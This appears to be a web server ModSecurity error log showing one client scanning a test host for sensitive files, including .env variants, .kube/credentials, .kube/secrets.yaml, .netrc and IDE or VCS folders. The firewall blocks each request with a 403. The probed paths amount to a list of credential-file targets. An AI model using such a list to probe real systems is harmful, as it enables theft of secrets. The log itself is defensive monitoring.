[Sun Mar 01 20:25:53.511449 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnogAAAAE&quot;]
[Sun Mar 01 20:25:53.602783 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak.save&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnpgAAAAE&quot;]
[Sun Mar 01 20:25:53.603060 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak.save&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnpgAAAAE&quot;]
[Sun Mar 01 20:25:53.603243 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak.save&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnpgAAAAE&quot;]
[Sun Mar 01 20:25:53.625572 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dvc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dvc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnpwAAAAE&quot;]
[Sun Mar 01 20:25:53.625819 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dvc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnpwAAAAE&quot;]
[Sun Mar 01 20:25:53.625966 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dvc&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnpwAAAAE&quot;]
[Sun Mar 01 20:25:53.648229 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.mail&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.mail&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqAAAAAE&quot;]
[Sun Mar 01 20:25:53.648480 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.mail&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqAAAAAE&quot;]
[Sun Mar 01 20:25:53.648627 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.mail&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqAAAAAE&quot;]
[Sun Mar 01 20:25:53.671004 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqQAAAAE&quot;]
[Sun Mar 01 20:25:53.671233 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqQAAAAE&quot;]
[Sun Mar 01 20:25:53.671380 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqQAAAAE&quot;]
[Sun Mar 01 20:25:53.694942 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqgAAAAE&quot;]
[Sun Mar 01 20:25:53.695185 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqgAAAAE&quot;]
[Sun Mar 01 20:25:53.695332 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnqgAAAAE&quot;]
[Sun Mar 01 20:25:53.763778 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrQAAAAE&quot;]
[Sun Mar 01 20:25:53.763999 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrQAAAAE&quot;]
[Sun Mar 01 20:25:53.764141 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrQAAAAE&quot;]
[Sun Mar 01 20:25:53.786513 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/.name&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.name&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrgAAAAE&quot;]
[Sun Mar 01 20:25:53.786763 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.name&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrgAAAAE&quot;]
[Sun Mar 01 20:25:53.786939 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.name&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrgAAAAE&quot;]
[Sun Mar 01 20:25:53.809313 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrwAAAAE&quot;]
[Sun Mar 01 20:25:53.809551 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrwAAAAE&quot;]
[Sun Mar 01 20:25:53.809726 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/workspace.xml&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnrwAAAAE&quot;]
[Sun Mar 01 20:25:53.900713 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/credentials&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnswAAAAE&quot;]
[Sun Mar 01 20:25:53.900989 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/credentials&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnswAAAAE&quot;]
[Sun Mar 01 20:25:53.901143 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/credentials&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFnswAAAAE&quot;]
[Sun Mar 01 20:25:53.923376 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/secrets.yaml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/secrets.yaml&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFntAAAAAE&quot;]
[Sun Mar 01 20:25:53.923610 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/secrets.yaml&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFntAAAAAE&quot;]
[Sun Mar 01 20:25:53.923774 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/secrets.yaml&quot;] [unique_id &quot;aaSSwY03pg4df9PPalFntAAAAAE&quot;]
[Sun Mar 01 20:25:54.015346 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnuAAAAAE&quot;]
[Sun Mar 01 20:25:54.015599 2026] [:error] [pid 2400022] [client 185.177.72.30:53030] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.netrc&quot;] [unique_id &quot;aaSSwo03pg4df9PPalFnuAAAAAE&quot;]
